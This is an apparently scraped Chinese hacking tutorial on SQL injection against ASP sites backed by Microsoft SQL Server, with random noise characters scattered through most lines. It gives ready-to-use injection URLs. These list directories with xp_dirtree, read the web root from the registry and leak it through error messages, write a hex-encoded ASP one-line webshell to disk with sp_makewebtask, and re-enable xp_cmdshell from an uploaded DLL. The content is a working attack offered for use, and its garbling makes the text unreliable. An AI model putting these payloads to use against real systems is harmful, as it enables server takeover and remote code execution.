好,我们exec master..xp_dirtree'd:/test'
. B i# B+ L% [3 D假设我们在test里有两个文件夹test1和test2在test1里又有test36 n2 L( o+ w9 O, @: J# v
结果显示* o8 Z) \2 ]% ~" k+ U% L3 X5 J+ D: n
. A8 a! @' e- N7 Q: h! P
subdirectory depth7 E0 c+ }' `; a5 d
test1 1
2 x$ _, r, I8 r* m# i. Ltest3 2
$ {- ]- R$ f3 rtest2 11 Q1 d' O( E1 b$ @# f
* x8 {6 e9 {8 Q哈哈发现没有那个depth就是目录的级数1 c4 ^' r# g$ I
ok了,知道怎么办了吧
/ w2 s/ z5 ]* [4 {- E7 j$ n, R" i3 f
. B4 s7 M5 k4 {http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- / U |+ m( b& c5 g- J+ j
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
$ C; B9 D* ]+ r6 K' t! l3 shttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
6 z; d, l2 m% m: [* c' U
A0 E3 D3 ?0 b9 ?& k7 U" E) z只要加上id=1,就是第一级目录 。$ R6 S. }4 v& \. h1 O# e
+ _( p+ a! W# Y! H
7 N, w& ~7 w: s" N通过注册表读网站路径:
" L6 C1 Q3 R( r1 V1 D
+ A5 x: J: H; v5 n- F! P3 f; K! o1.;create table [dbo].[cyfd] ([gyfd][char](255));0 G! E' O& x0 P9 a# M
9 K5 d- m6 T, b6 D: E8 Z1 o9 [
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
9 g e9 p9 b9 W% b! t/ O3 \8 rid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
" s7 c0 V7 ?: y! E6 I" V& Q( W1 F' U) J5 ~# M
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
" Z: l& {- o6 Q5 p7 \* @ hand 1=(select count(*) from cyfd where gyfd > 1)
W, n9 g& P g9 m( z5 B2 Y这样IE报错,就把刚才插进去的Web路径的值报出来了
$ r+ a7 t7 `+ p3 ^: I/ {& w! J6 `: k2 W/ s& J* Q' g) B' U
4.drop table cyfd;-- 删除临时表
6 v: d+ e) O( W7 B7 L# x- e
+ v' Q" ~9 ^* L. P- j& P0 c获得webshell方法:
0 F* q% X! ?8 P- N! R1.create table cmd (a image)-- \**cmd是创建的临时表8 ~% j9 c* x! j6 ]1 q
7 G; \# `& _7 P, E1 M! m) i, W2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
! c3 k, m( w5 J" o" L
; ?$ K# I! i3 j ~ N
% b- [% u- p- q8 g9 E( h3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'! A1 C. a0 h/ o+ x; i
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表') m( R9 j% t/ J# h
3 E8 o) \9 c7 R" c* ~8 ?8 o! ?' Z
4.drop table cmd;-- 删除cmd临时表" g5 `( d# p* Q1 \5 |$ P
" q% w5 I% E) S1 r恢复xp_cmdshell方法之一:
5 _1 f- A { I$ w2 M7 o我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
* g, t7 r% K. v- B% Fhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'; Z2 a+ L. H8 l: E/ g r
恢复,支持绝对路径的恢复哦。:)
* @/ X n% k- ]; Q |